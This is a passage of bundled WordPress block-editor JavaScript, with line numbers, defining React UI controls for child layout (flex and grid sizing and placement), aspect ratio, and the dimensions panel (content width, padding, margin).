27792 min: 0,
27793 max: RANGE_CONTROL_CUSTOM_SETTINGS[selectedUnit]?.max ?? 100,
27794 step: RANGE_CONTROL_CUSTOM_SETTINGS[selectedUnit]?.step ?? 0.1,
27795 withInputField: false,
27796 onChange: handleSliderChange,
27797 __nextHasNoMarginBottom: true,
27798 label,
27799 hideLabelFromVision: true
27800 }
27801 ) }) })
27802 ] })
27803 ] });
27804}
27805
27806
27807;// ./node_modules/@wordpress/block-editor/build-module/components/grid/use-get-number-of-blocks-before-cell.js
27808
27809
27810function useGetNumberOfBlocksBeforeCell(gridClientId, numColumns) {
27811 const { getBlockOrder, getBlockAttributes } = (0,external_wp_data_namespaceObject.useSelect)(store);
27812 const getNumberOfBlocksBeforeCell = (column, row) => {
27813 const targetIndex = (row - 1) * numColumns + column - 1;
27814 let count = 0;
27815 for (const clientId of getBlockOrder(gridClientId)) {
27816 const { columnStart, rowStart } = getBlockAttributes(clientId).style?.layout ?? {};
27817 const cellIndex = (rowStart - 1) * numColumns + columnStart - 1;
27818 if (cellIndex < targetIndex) {
27819 count++;
27820 }
27821 }
27822 return count;
27823 };
27824 return getNumberOfBlocksBeforeCell;
27825}
27826
27827
27828;// ./node_modules/@wordpress/block-editor/build-module/components/child-layout-control/index.js
27829
27830
27831
27832
27833
27834
27835
27836
27837function helpText(selfStretch, parentLayout) {
27838 const { orientation = "horizontal" } = parentLayout;
27839 if (selfStretch === "fill") {
27840 return (0,external_wp_i18n_namespaceObject.__)("Stretch to fill available space.");
27841 }
27842 if (selfStretch === "fixed" && orientation === "horizontal") {
27843 return (0,external_wp_i18n_namespaceObject.__)("Specify a fixed width.");
27844 } else if (selfStretch === "fixed") {
27845 return (0,external_wp_i18n_namespaceObject.__)("Specify a fixed height.");
27846 }
27847 return (0,external_wp_i18n_namespaceObject.__)("Fit contents.");
27848}
27849function ChildLayoutControl({
27850 value: childLayout = {},
27851 onChange,
27852 parentLayout,
27853 isShownByDefault,
27854 panelId
27855}) {
27856 const {
27857 type: parentType,
27858 default: { type: defaultParentType = "default" } = {}
27859 } = parentLayout ?? {};
27860 const parentLayoutType = parentType || defaultParentType;
27861 if (parentLayoutType === "flex") {
27862 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
27863 FlexControls,
27864 {
27865 childLayout,
27866 onChange,
27867 parentLayout,
27868 isShownByDefault,
27869 panelId
27870 }
27871 );
27872 } else if (parentLayoutType === "grid") {
27873 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
27874 GridControls,
27875 {
27876 childLayout,
27877 onChange,
27878 parentLayout,
27879 isShownByDefault,
27880 panelId
27881 }
27882 );
27883 }
27884 return null;
27885}
27886function FlexControls({
27887 childLayout,
27888 onChange,
27889 parentLayout,
27890 isShownByDefault,
27891 panelId
27892}) {
27893 const { selfStretch, flexSize } = childLayout;
27894 const { orientation = "horizontal" } = parentLayout ?? {};
27895 const hasFlexValue = () => !!selfStretch;
27896 const flexResetLabel = orientation === "horizontal" ? (0,external_wp_i18n_namespaceObject.__)("Width") : (0,external_wp_i18n_namespaceObject.__)("Height");
27897 const [availableUnits] = use_settings_useSettings("spacing.units");
27898 const units = (0,external_wp_components_namespaceObject.__experimentalUseCustomUnits)({
27899 availableUnits: availableUnits || [
27900 "%",
27901 "px",
27902 "em",
27903 "rem",
27904 "vh",
27905 "vw"
27906 ]
27907 });
27908 const resetFlex = () => {
27909 onChange({
27910 selfStretch: void 0,
27911 flexSize: void 0
27912 });
27913 };
27914 (0,external_wp_element_namespaceObject.useEffect)(() => {
27915 if (selfStretch === "fixed" && !flexSize) {
27916 onChange({
27917 ...childLayout,
27918 selfStretch: "fit"
27919 });
27920 }
27921 }, []);
27922 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
27923 external_wp_components_namespaceObject.__experimentalVStack,
27924 {
27925 as: external_wp_components_namespaceObject.__experimentalToolsPanelItem,
27926 spacing: 2,
27927 hasValue: hasFlexValue,
27928 label: flexResetLabel,
27929 onDeselect: resetFlex,
27930 isShownByDefault,
27931 panelId,
27932 children: [
27933 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
27934 external_wp_components_namespaceObject.__experimentalToggleGroupControl,
27935 {
27936 __nextHasNoMarginBottom: true,
27937 size: "__unstable-large",
27938 label: childLayoutOrientation(parentLayout),
27939 value: selfStretch || "fit",
27940 help: helpText(selfStretch, parentLayout),
27941 onChange: (value) => {
27942 const newFlexSize = value !== "fixed" ? null : flexSize;
27943 onChange({
27944 selfStretch: value,
27945 flexSize: newFlexSize
27946 });
27947 },
27948 isBlock: true,
27949 children: [
27950 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
27951 external_wp_components_namespaceObject.__experimentalToggleGroupControlOption,
27952 {
27953 value: "fit",
27954 label: (0,external_wp_i18n_namespaceObject._x)(
27955 "Fit",
27956 "Intrinsic block width in flex layout"
27957 )
27958 },
27959 "fit"
27960 ),
27961 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
27962 external_wp_components_namespaceObject.__experimentalToggleGroupControlOption,
27963 {
27964 value: "fill",
27965 label: (0,external_wp_i18n_namespaceObject._x)(
27966 "Grow",
27967 "Block with expanding width in flex layout"
27968 )
27969 },
27970 "fill"
27971 ),
27972 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
27973 external_wp_components_namespaceObject.__experimentalToggleGroupControlOption,
27974 {
27975 value: "fixed",
27976 label: (0,external_wp_i18n_namespaceObject._x)(
27977 "Fixed",
27978 "Block with fixed width in flex layout"
27979 )
27980 },
27981 "fixed"
27982 )
27983 ]
27984 }
27985 ),
27986 selfStretch === "fixed" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
27987 external_wp_components_namespaceObject.__experimentalUnitControl,
27988 {
27989 size: "__unstable-large",
27990 units,
27991 onChange: (value) => {
27992 onChange({
27993 selfStretch,
27994 flexSize: value
27995 });
27996 },
27997 value: flexSize,
27998 min: 0,
27999 label: flexResetLabel,
28000 hideLabelFromVision: true
28001 }
28002 )
28003 ]
28004 }
28005 );
28006}
28007function childLayoutOrientation(parentLayout) {
28008 const { orientation = "horizontal" } = parentLayout;
28009 return orientation === "horizontal" ? (0,external_wp_i18n_namespaceObject.__)("Width") : (0,external_wp_i18n_namespaceObject.__)("Height");
28010}
28011function GridControls({
28012 childLayout,
28013 onChange,
28014 parentLayout,
28015 isShownByDefault,
28016 panelId
28017}) {
28018 const { columnStart, rowStart, columnSpan, rowSpan } = childLayout;
28019 const { columnCount, rowCount } = parentLayout ?? {};
28020 const rootClientId = (0,external_wp_data_namespaceObject.useSelect)(
28021 (select) => select(store).getBlockRootClientId(panelId)
28022 );
28023 const { moveBlocksToPosition, __unstableMarkNextChangeAsNotPersistent } = (0,external_wp_data_namespaceObject.useDispatch)(store);
28024 const getNumberOfBlocksBeforeCell = useGetNumberOfBlocksBeforeCell(
28025 rootClientId,
28026 columnCount || 3
28027 );
28028 const hasStartValue = () => !!columnStart || !!rowStart;
28029 const hasSpanValue = () => !!columnSpan || !!rowSpan;
28030 const resetGridStarts = () => {
28031 onChange({
28032 columnStart: void 0,
28033 rowStart: void 0
28034 });
28035 };
28036 const resetGridSpans = () => {
28037 onChange({
28038 columnSpan: void 0,
28039 rowSpan: void 0
28040 });
28041 };
28042 const maxColumnSpan = columnCount ? columnCount - (columnStart ?? 1) + 1 : void 0;
28043 const maxRowSpan = window.__experimentalEnableGridInteractivity && rowCount ? rowCount - (rowStart ?? 1) + 1 : void 0;
28044 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
28045 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
28046 external_wp_components_namespaceObject.Flex,
28047 {
28048 as: external_wp_components_namespaceObject.__experimentalToolsPanelItem,
28049 hasValue: hasSpanValue,
28050 label: (0,external_wp_i18n_namespaceObject.__)("Grid span"),
28051 onDeselect: resetGridSpans,
28052 isShownByDefault,
28053 panelId,
28054 children: [
28055 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { style: { width: "50%" }, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28056 external_wp_components_namespaceObject.__experimentalInputControl,
28057 {
28058 size: "__unstable-large",
28059 label: (0,external_wp_i18n_namespaceObject.__)("Column span"),
28060 type: "number",
28061 onChange: (value) => {
28062 const newColumnSpan = value === "" ? 1 : parseInt(value, 10);
28063 const constrainedValue = maxColumnSpan ? Math.min(newColumnSpan, maxColumnSpan) : newColumnSpan;
28064 onChange({
28065 columnStart,
28066 rowStart,
28067 rowSpan,
28068 columnSpan: constrainedValue
28069 });
28070 },
28071 value: columnSpan ?? 1,
28072 min: 1,
28073 max: maxColumnSpan
28074 }
28075 ) }),
28076 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { style: { width: "50%" }, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28077 external_wp_components_namespaceObject.__experimentalInputControl,
28078 {
28079 size: "__unstable-large",
28080 label: (0,external_wp_i18n_namespaceObject.__)("Row span"),
28081 type: "number",
28082 onChange: (value) => {
28083 const newRowSpan = value === "" ? 1 : parseInt(value, 10);
28084 const constrainedValue = maxRowSpan ? Math.min(newRowSpan, maxRowSpan) : newRowSpan;
28085 onChange({
28086 columnStart,
28087 rowStart,
28088 columnSpan,
28089 rowSpan: constrainedValue
28090 });
28091 },
28092 value: rowSpan ?? 1,
28093 min: 1,
28094 max: maxRowSpan
28095 }
28096 ) })
28097 ]
28098 }
28099 ),
28100 window.__experimentalEnableGridInteractivity && // Use Flex with an explicit width on the FlexItem instead of HStack to
28101 // work around an issue in webkit where inputs with a max attribute are
28102 // sized incorrectly.
28103 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
28104 external_wp_components_namespaceObject.Flex,
28105 {
28106 as: external_wp_components_namespaceObject.__experimentalToolsPanelItem,
28107 hasValue: hasStartValue,
28108 label: (0,external_wp_i18n_namespaceObject.__)("Grid placement"),
28109 onDeselect: resetGridStarts,
28110 isShownByDefault: false,
28111 panelId,
28112 children: [
28113 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { style: { width: "50%" }, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28114 external_wp_components_namespaceObject.__experimentalInputControl,
28115 {
28116 size: "__unstable-large",
28117 label: (0,external_wp_i18n_namespaceObject.__)("Column"),
28118 type: "number",
28119 onChange: (value) => {
28120 const newColumnStart = value === "" ? 1 : parseInt(value, 10);
28121 onChange({
28122 columnStart: newColumnStart,
28123 rowStart,
28124 columnSpan,
28125 rowSpan
28126 });
28127 __unstableMarkNextChangeAsNotPersistent();
28128 moveBlocksToPosition(
28129 [panelId],
28130 rootClientId,
28131 rootClientId,
28132 getNumberOfBlocksBeforeCell(
28133 newColumnStart,
28134 rowStart
28135 )
28136 );
28137 },
28138 value: columnStart ?? 1,
28139 min: 1,
28140 max: columnCount ? columnCount - (columnSpan ?? 1) + 1 : void 0
28141 }
28142 ) }),
28143 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { style: { width: "50%" }, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28144 external_wp_components_namespaceObject.__experimentalInputControl,
28145 {
28146 size: "__unstable-large",
28147 label: (0,external_wp_i18n_namespaceObject.__)("Row"),
28148 type: "number",
28149 onChange: (value) => {
28150 const newRowStart = value === "" ? 1 : parseInt(value, 10);
28151 onChange({
28152 columnStart,
28153 rowStart: newRowStart,
28154 columnSpan,
28155 rowSpan
28156 });
28157 __unstableMarkNextChangeAsNotPersistent();
28158 moveBlocksToPosition(
28159 [panelId],
28160 rootClientId,
28161 rootClientId,
28162 getNumberOfBlocksBeforeCell(
28163 columnStart,
28164 newRowStart
28165 )
28166 );
28167 },
28168 value: rowStart ?? 1,
28169 min: 1,
28170 max: rowCount ? rowCount - (rowSpan ?? 1) + 1 : void 0
28171 }
28172 ) })
28173 ]
28174 }
28175 )
28176 ] });
28177}
28178
28179
28180;// ./node_modules/@wordpress/block-editor/build-module/components/dimensions-tool/aspect-ratio-tool.js
28181
28182
28183
28184
28185function AspectRatioTool({
28186 panelId,
28187 value,
28188 onChange = () => {
28189 },
28190 options,
28191 defaultValue = "auto",
28192 hasValue,
28193 isShownByDefault = true
28194}) {
28195 const displayValue = value ?? "auto";
28196 const [defaultRatios, themeRatios, showDefaultRatios] = use_settings_useSettings(
28197 "dimensions.aspectRatios.default",
28198 "dimensions.aspectRatios.theme",
28199 "dimensions.defaultAspectRatios"
28200 );
28201 const themeOptions = themeRatios?.map(({ name, ratio }) => ({
28202 label: name,
28203 value: ratio
28204 }));
28205 const defaultOptions = defaultRatios?.map(({ name, ratio }) => ({
28206 label: name,
28207 value: ratio
28208 }));
28209 const aspectRatioOptions = [
28210 {
28211 label: (0,external_wp_i18n_namespaceObject._x)(
28212 "Original",
28213 "Aspect ratio option for dimensions control"
28214 ),
28215 value: "auto"
28216 },
28217 ...showDefaultRatios ? defaultOptions : [],
28218 ...themeOptions ? themeOptions : [],
28219 {
28220 label: (0,external_wp_i18n_namespaceObject._x)("Custom", "Aspect ratio option for dimensions control"),
28221 value: "custom",
28222 disabled: true,
28223 hidden: true
28224 }
28225 ];
28226 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28227 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
28228 {
28229 hasValue: hasValue ? hasValue : () => displayValue !== defaultValue,
28230 label: (0,external_wp_i18n_namespaceObject.__)("Aspect ratio"),
28231 onDeselect: () => onChange(void 0),
28232 isShownByDefault,
28233 panelId,
28234 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28235 external_wp_components_namespaceObject.SelectControl,
28236 {
28237 label: (0,external_wp_i18n_namespaceObject.__)("Aspect ratio"),
28238 value: displayValue,
28239 options: options ?? aspectRatioOptions,
28240 onChange,
28241 size: "__unstable-large",
28242 __nextHasNoMarginBottom: true
28243 }
28244 )
28245 }
28246 );
28247}
28248
28249
28250;// ./node_modules/@wordpress/block-editor/build-module/components/global-styles/dimensions-panel.js
28251
28252
28253
28254
28255
28256
28257
28258
28259
28260
28261
28262
28263
28264const AXIAL_SIDES = ["horizontal", "vertical"];
28265function useHasDimensionsPanel(settings) {
28266 const hasContentSize = useHasContentSize(settings);
28267 const hasWideSize = useHasWideSize(settings);
28268 const hasPadding = useHasPadding(settings);
28269 const hasMargin = useHasMargin(settings);
28270 const hasGap = useHasGap(settings);
28271 const hasMinHeight = useHasMinHeight(settings);
28272 const hasAspectRatio = useHasAspectRatio(settings);
28273 const hasChildLayout = useHasChildLayout(settings);
28274 return external_wp_element_namespaceObject.Platform.OS === "web" && (hasContentSize || hasWideSize || hasPadding || hasMargin || hasGap || hasMinHeight || hasAspectRatio || hasChildLayout);
28275}
28276function useHasContentSize(settings) {
28277 return settings?.layout?.contentSize;
28278}
28279function useHasWideSize(settings) {
28280 return settings?.layout?.wideSize;
28281}
28282function useHasPadding(settings) {
28283 return settings?.spacing?.padding;
28284}
28285function useHasMargin(settings) {
28286 return settings?.spacing?.margin;
28287}
28288function useHasGap(settings) {
28289 return settings?.spacing?.blockGap;
28290}
28291function useHasMinHeight(settings) {
28292 return settings?.dimensions?.minHeight;
28293}
28294function useHasAspectRatio(settings) {
28295 return settings?.dimensions?.aspectRatio;
28296}
28297function useHasChildLayout(settings) {
28298 const {
28299 type: parentLayoutType = "default",
28300 default: { type: defaultParentLayoutType = "default" } = {},
28301 allowSizingOnChildren = false
28302 } = settings?.parentLayout ?? {};
28303 const support = (defaultParentLayoutType === "flex" || parentLayoutType === "flex" || defaultParentLayoutType === "grid" || parentLayoutType === "grid") && allowSizingOnChildren;
28304 return !!settings?.layout && support;
28305}
28306function useHasSpacingPresets(settings) {
28307 const { defaultSpacingSizes, spacingSizes } = settings?.spacing || {};
28308 return defaultSpacingSizes !== false && spacingSizes?.default?.length > 0 || spacingSizes?.theme?.length > 0 || spacingSizes?.custom?.length > 0;
28309}
28310function filterValuesBySides(values, sides) {
28311 if (!sides || !values) {
28312 return values;
28313 }
28314 const filteredValues = {};
28315 sides.forEach((side) => {
28316 if (side === "vertical") {
28317 filteredValues.top = values.top;
28318 filteredValues.bottom = values.bottom;
28319 }
28320 if (side === "horizontal") {
28321 filteredValues.left = values.left;
28322 filteredValues.right = values.right;
28323 }
28324 filteredValues[side] = values?.[side];
28325 });
28326 return filteredValues;
28327}
28328function splitStyleValue(value) {
28329 if (value && typeof value === "string") {
28330 return {
28331 top: value,
28332 right: value,
28333 bottom: value,
28334 left: value
28335 };
28336 }
28337 return value;
28338}
28339function splitGapValue(value, isAxialGap) {
28340 if (!value) {
28341 return value;
28342 }
28343 if (typeof value === "string") {
28344 return isAxialGap ? { top: value, right: value, bottom: value, left: value } : { top: value };
28345 }
28346 return {
28347 ...value,
28348 right: value?.left,
28349 bottom: value?.top
28350 };
28351}
28352function DimensionsToolsPanel({
28353 resetAllFilter,
28354 onChange,
28355 value,
28356 panelId,
28357 children
28358}) {
28359 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
28360 const resetAll = () => {
28361 const updatedValue = resetAllFilter(value);
28362 onChange(updatedValue);
28363 };
28364 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28365 external_wp_components_namespaceObject.__experimentalToolsPanel,
28366 {
28367 label: (0,external_wp_i18n_namespaceObject.__)("Dimensions"),
28368 resetAll,
28369 panelId,
28370 dropdownMenuProps,
28371 children
28372 }
28373 );
28374}
28375const dimensions_panel_DEFAULT_CONTROLS = {
28376 contentSize: true,
28377 wideSize: true,
28378 padding: true,
28379 margin: true,
28380 blockGap: true,
28381 minHeight: true,
28382 aspectRatio: true,
28383 childLayout: true
28384};
28385function DimensionsPanel({
28386 as: Wrapper = DimensionsToolsPanel,
28387 value,
28388 onChange,
28389 inheritedValue = value,
28390 settings,
28391 panelId,
28392 defaultControls = dimensions_panel_DEFAULT_CONTROLS,
28393 onVisualize = () => {
28394 },
28395 // Special case because the layout controls are not part of the dimensions panel
28396 // in global styles but not in block inspector.
28397 includeLayoutControls = false
28398}) {
28399 const { dimensions, spacing } = settings;
28400 const decodeValue = (rawValue) => {
28401 if (rawValue && typeof rawValue === "object") {
28402 return Object.keys(rawValue).reduce((acc, key) => {
28403 acc[key] = getValueFromVariable(
28404 { settings: { dimensions, spacing } },
28405 "",
28406 rawValue[key]
28407 );
28408 return acc;
28409 }, {});
28410 }
28411 return getValueFromVariable(
28412 { settings: { dimensions, spacing } },
28413 "",
28414 rawValue
28415 );
28416 };
28417 const showSpacingPresetsControl = useHasSpacingPresets(settings);
28418 const units = (0,external_wp_components_namespaceObject.__experimentalUseCustomUnits)({
28419 availableUnits: settings?.spacing?.units || [
28420 "%",
28421 "px",
28422 "em",
28423 "rem",
28424 "vw"
28425 ]
28426 });
28427 const minimumMargin = -Infinity;
28428 const [minMarginValue, setMinMarginValue] = (0,external_wp_element_namespaceObject.useState)(minimumMargin);
28429 const showContentSizeControl = useHasContentSize(settings) && includeLayoutControls;
28430 const contentSizeValue = decodeValue(inheritedValue?.layout?.contentSize);
28431 const setContentSizeValue = (newValue) => {
28432 onChange(
28433 setImmutably(
28434 value,
28435 ["layout", "contentSize"],
28436 newValue || void 0
28437 )
28438 );
28439 };
28440 const hasUserSetContentSizeValue = () => !!value?.layout?.contentSize;
28441 const resetContentSizeValue = () => setContentSizeValue(void 0);
28442 const showWideSizeControl = useHasWideSize(settings) && includeLayoutControls;
28443 const wideSizeValue = decodeValue(inheritedValue?.layout?.wideSize);
28444 const setWideSizeValue = (newValue) => {
28445 onChange(
28446 setImmutably(
28447 value,
28448 ["layout", "wideSize"],
28449 newValue || void 0
28450 )
28451 );
28452 };
28453 const hasUserSetWideSizeValue = () => !!value?.layout?.wideSize;
28454 const resetWideSizeValue = () => setWideSizeValue(void 0);
28455 const showPaddingControl = useHasPadding(settings);
28456 const rawPadding = decodeValue(inheritedValue?.spacing?.padding);
28457 const paddingValues = splitStyleValue(rawPadding);
28458 const paddingSides = Array.isArray(settings?.spacing?.padding) ? settings?.spacing?.padding : settings?.spacing?.padding?.sides;
28459 const isAxialPadding = paddingSides && paddingSides.some((side) => AXIAL_SIDES.includes(side));
28460 const setPaddingValues = (newPaddingValues) => {
28461 const padding = filterValuesBySides(newPaddingValues, paddingSides);
28462 onChange(setImmutably(value, ["spacing", "padding"], padding));
28463 };
28464 const hasPaddingValue = () => !!value?.spacing?.padding && Object.keys(value?.spacing?.padding).length;
28465 const resetPaddingValue = () => setPaddingValues(void 0);
28466 const onMouseOverPadding = () => onVisualize("padding");
28467 const showMarginControl = useHasMargin(settings);
28468 const rawMargin = decodeValue(inheritedValue?.spacing?.margin);
28469 const marginValues = splitStyleValue(rawMargin);
28470 const marginSides = Array.isArray(settings?.spacing?.margin) ? settings?.spacing?.margin : settings?.spacing?.margin?.sides;
28471 const isAxialMargin = marginSides && marginSides.some((side) => AXIAL_SIDES.includes(side));
28472 const setMarginValues = (newMarginValues) => {
28473 const margin = filterValuesBySides(newMarginValues, marginSides);
28474 onChange(setImmutably(value, ["spacing", "margin"], margin));
28475 };
28476 const hasMarginValue = () => !!value?.spacing?.margin && Object.keys(value?.spacing?.margin).length;
28477 const resetMarginValue = () => setMarginValues(void 0);
28478 const onMouseOverMargin = () => onVisualize("margin");
28479 const showGapControl = useHasGap(settings);
28480 const gapSides = Array.isArray(settings?.spacing?.blockGap) ? settings?.spacing?.blockGap : settings?.spacing?.blockGap?.sides;
28481 const isAxialGap = gapSides && gapSides.some((side) => AXIAL_SIDES.includes(side));
28482 const gapValue = decodeValue(inheritedValue?.spacing?.blockGap);
28483 const gapValues = splitGapValue(gapValue, isAxialGap);
28484 const setGapValue = (newGapValue) => {
28485 onChange(
28486 setImmutably(value, ["spacing", "blockGap"], newGapValue)
28487 );
28488 };
28489 const setGapValues = (nextBoxGapValue) => {
28490 if (!nextBoxGapValue) {
28491 setGapValue(null);
28492 }
28493 if (!isAxialGap && nextBoxGapValue?.hasOwnProperty("top")) {
28494 setGapValue(nextBoxGapValue.top);
28495 } else {
28496 setGapValue({
28497 top: nextBoxGapValue?.top,
28498 left: nextBoxGapValue?.left
28499 });
28500 }
28501 };
28502 const resetGapValue = () => setGapValue(void 0);
28503 const hasGapValue = () => !!value?.spacing?.blockGap;
28504 const showMinHeightControl = useHasMinHeight(settings);
28505 const minHeightValue = decodeValue(inheritedValue?.dimensions?.minHeight);
28506 const setMinHeightValue = (newValue) => {
28507 const tempValue = setImmutably(
28508 value,
28509 ["dimensions", "minHeight"],
28510 newValue
28511 );
28512 onChange(
28513 setImmutably(
28514 tempValue,
28515 ["dimensions", "aspectRatio"],
28516 void 0
28517 )
28518 );
28519 };
28520 const resetMinHeightValue = () => {
28521 setMinHeightValue(void 0);
28522 };
28523 const hasMinHeightValue = () => !!value?.dimensions?.minHeight;
28524 const showAspectRatioControl = useHasAspectRatio(settings);
28525 const aspectRatioValue = decodeValue(
28526 inheritedValue?.dimensions?.aspectRatio
28527 );
28528 const setAspectRatioValue = (newValue) => {
28529 const tempValue = setImmutably(
28530 value,
28531 ["dimensions", "aspectRatio"],
28532 newValue
28533 );
28534 onChange(
28535 setImmutably(tempValue, ["dimensions", "minHeight"], void 0)
28536 );
28537 };
28538 const hasAspectRatioValue = () => !!value?.dimensions?.aspectRatio;
28539 const showChildLayoutControl = useHasChildLayout(settings);
28540 const childLayout = inheritedValue?.layout;
28541 const setChildLayout = (newChildLayout) => {
28542 onChange({
28543 ...value,
28544 layout: {
28545 ...newChildLayout
28546 }
28547 });
28548 };
28549 const resetAllFilter = (0,external_wp_element_namespaceObject.useCallback)((previousValue) => {
28550 return {
28551 ...previousValue,
28552 layout: utils_cleanEmptyObject({
28553 ...previousValue?.layout,
28554 contentSize: void 0,
28555 wideSize: void 0,
28556 selfStretch: void 0,
28557 flexSize: void 0,
28558 columnStart: void 0,
28559 rowStart: void 0,
28560 columnSpan: void 0,
28561 rowSpan: void 0
28562 }),
28563 spacing: {
28564 ...previousValue?.spacing,
28565 padding: void 0,
28566 margin: void 0,
28567 blockGap: void 0
28568 },
28569 dimensions: {
28570 ...previousValue?.dimensions,
28571 minHeight: void 0,
28572 aspectRatio: void 0
28573 }
28574 };
28575 }, []);
28576 const onMouseLeaveControls = () => onVisualize(false);
28577 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
28578 Wrapper,
28579 {
28580 resetAllFilter,
28581 value,
28582 onChange,
28583 panelId,
28584 children: [
28585 (showContentSizeControl || showWideSizeControl) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "span-columns", children: (0,external_wp_i18n_namespaceObject.__)("Set the width of the main content area.") }),
28586 showContentSizeControl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28587 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
28588 {
28589 label: (0,external_wp_i18n_namespaceObject.__)("Content width"),
28590 hasValue: hasUserSetContentSizeValue,
28591 onDeselect: resetContentSizeValue,
28592 isShownByDefault: defaultControls.contentSize ?? dimensions_panel_DEFAULT_CONTROLS.contentSize,
28593 panelId,
28594 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28595 external_wp_components_namespaceObject.__experimentalUnitControl,
28596 {
28597 __next40pxDefaultSize: true,
28598 label: (0,external_wp_i18n_namespaceObject.__)("Content width"),
28599 labelPosition: "top",
28600 value: contentSizeValue || "",
28601 onChange: (nextContentSize) => {
28602 setContentSizeValue(nextContentSize);
28603 },
28604 units,
28605 prefix: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalInputControlPrefixWrapper, { variant: "icon", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(icon_default, { icon: align_none_default }) })
28606 }
28607 )
28608 }
28609 ),
28610 showWideSizeControl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28611 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
28612 {
28613 label: (0,external_wp_i18n_namespaceObject.__)("Wide width"),
28614 hasValue: hasUserSetWideSizeValue,
28615 onDeselect: resetWideSizeValue,
28616 isShownByDefault: defaultControls.wideSize ?? dimensions_panel_DEFAULT_CONTROLS.wideSize,
28617 panelId,
28618 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28619 external_wp_components_namespaceObject.__experimentalUnitControl,
28620 {
28621 __next40pxDefaultSize: true,
28622 label: (0,external_wp_i18n_namespaceObject.__)("Wide width"),
28623 labelPosition: "top",
28624 value: wideSizeValue || "",
28625 onChange: (nextWideSize) => {
28626 setWideSizeValue(nextWideSize);
28627 },
28628 units,
28629 prefix: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalInputControlPrefixWrapper, { variant: "icon", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(icon_default, { icon: stretch_wide_default }) })
28630 }
28631 )
28632 }
28633 ),
28634 showPaddingControl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
28635 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
28636 {
28637 hasValue: hasPaddingValue,
28638 label: (0,external_wp_i18n_namespaceObject.__)("Padding"),
28639 onDeselect: resetPaddingValue,
28640 isShownByDefault: defaultControls.padding ?? dimensions_panel_DEFAULT_CONTROLS.padding,
28641 className: dist_clsx({
28642 "tools-panel-item-spacing": showSpacingPresetsControl
28643 }),
28644 panelId,
28645 children: [
28646 !showSpacingPresetsControl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28647 external_wp_components_namespaceObject.BoxControl,
28648 {
28649 __next40pxDefaultSize: true,
28650 values: paddingValues,
28651 onChange: setPaddingValues,
28652 label: (0,external_wp_i18n_namespaceObject.__)("Padding"),
28653 sides: paddingSides,
28654 units,
28655 allowReset: false,
28656 splitOnAxis: isAxialPadding,
28657 inputProps: {
28658 onMouseOver: onMouseOverPadding,
28659 onMouseOut: onMouseLeaveControls
28660 }
28661 }
28662 ),
28663 showSpacingPresetsControl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28664 SpacingSizesControl,
28665 {
28666 values: paddingValues,
28667 onChange: setPaddingValues,
28668 label: (0,external_wp_i18n_namespaceObject.__)("Padding"),
28669 sides: paddingSides,
28670 units,
28671 allowReset: false,
28672 onMouseOver: onMouseOverPadding,
28673 onMouseOut: onMouseLeaveControls
28674 }
28675 )
28676 ]
28677 }
28678 ),
28679 showMarginControl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
28680 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
28681 {
28682 hasValue: hasMarginValue,
28683 label: (0,external_wp_i18n_namespaceObject.__)("Margin"),
28684 onDeselect: resetMarginValue,
28685 isShownByDefault: defaultControls.margin ?? dimensions_panel_DEFAULT_CONTROLS.margin,
28686 className: dist_clsx({
28687 "tools-panel-item-spacing": showSpacingPresetsControl
28688 }),
